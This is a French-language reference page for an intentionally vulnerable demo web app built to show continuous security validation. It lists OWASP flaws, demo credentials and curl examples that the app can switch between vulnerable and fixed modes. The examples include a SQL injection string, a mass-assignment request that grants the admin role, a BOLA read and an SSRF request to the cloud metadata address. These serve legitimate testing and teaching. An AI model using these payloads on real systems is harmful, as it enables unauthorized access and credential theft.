RESPECT demo target

Mode: VULNERABLE

Cible volontairement vulnérable pour démo de validation continue. Bascule entre vulnerable et remediated via ?r=fix / ?r=break.

Authentification

MéthodeIdentifiantsHeader
HTTP Basic demo / demo123 Authorization: Basic ZGVtbzpkZW1vMTIz
Bearer Token demo-token-abc123 Authorization: Bearer demo-token-abc123
Login form POST {email, password} sur ?r=login Réponse JSON avec access_token

Endpoints

MéthodeURLAuthVuln (mode vulnerable)
GET?r=healthaucune
POST?r=loginaucuneA05 default creds admin/admin acceptées
GET?r=meoui
PATCH?r=updateouiA01 mass assignment {role:"admin"} accepté
GET?r=users/2ouiA01 BOLA — lit user 2 sans contrôle
GET?r=admin/usersnonA01 forced browsing — aucun check role
GET?r=products&id=1' OR '1'='1aucuneA03 SQLi — leak message d'erreur
GET?r=fetch&url=...ouiA10 SSRF — pas de whitelist
GET?r=stateaucuneretourne le mode courant
GET?r=fixaucunepasse en remediated
GET?r=breakaucunepasse en vulnerable

Vulns automatiques selon le mode

OWASPDescriptionMode vulnerableMode remediated
A02HSTS / TLSpas de Strict-Transport-SecurityHSTS 1 an + includeSubDomains + preload
A05Security headersaucun (CSP, X-Frame, X-CTO, Referrer absents)tous présents
A06Server header disclosureApache/2.4.41 (Ubuntu)webserver

Exemples curl

# Tester l'auth Basic
curl -u demo:demo123 https://adnc.fr/respect/?r=me

# Tester le Bearer
curl -H "Authorization: Bearer demo-token-abc123" https://adnc.fr/respect/?r=me

# Voir l'état
curl https://adnc.fr/respect/?r=state

# Bascule remediated (à utiliser pendant la démo)
curl https://adnc.fr/respect/?r=fix

# Bascule vulnerable
curl https://adnc.fr/respect/?r=break

# Tester le BOLA
curl -u demo:demo123 https://adnc.fr/respect/?r=users/2

# Tester le mass assignment
curl -u demo:demo123 -X PATCH -H "Content-Type: application/json" \
  -d '{"role":"admin"}' https://adnc.fr/respect/?r=update

# Tester SQLi
curl "https://adnc.fr/respect/?r=products&id=1' OR '1'='1"

# Tester SSRF
curl -u demo:demo123 "https://adnc.fr/respect/?r=fetch&url=http://169.254.169.254/latest/meta-data/"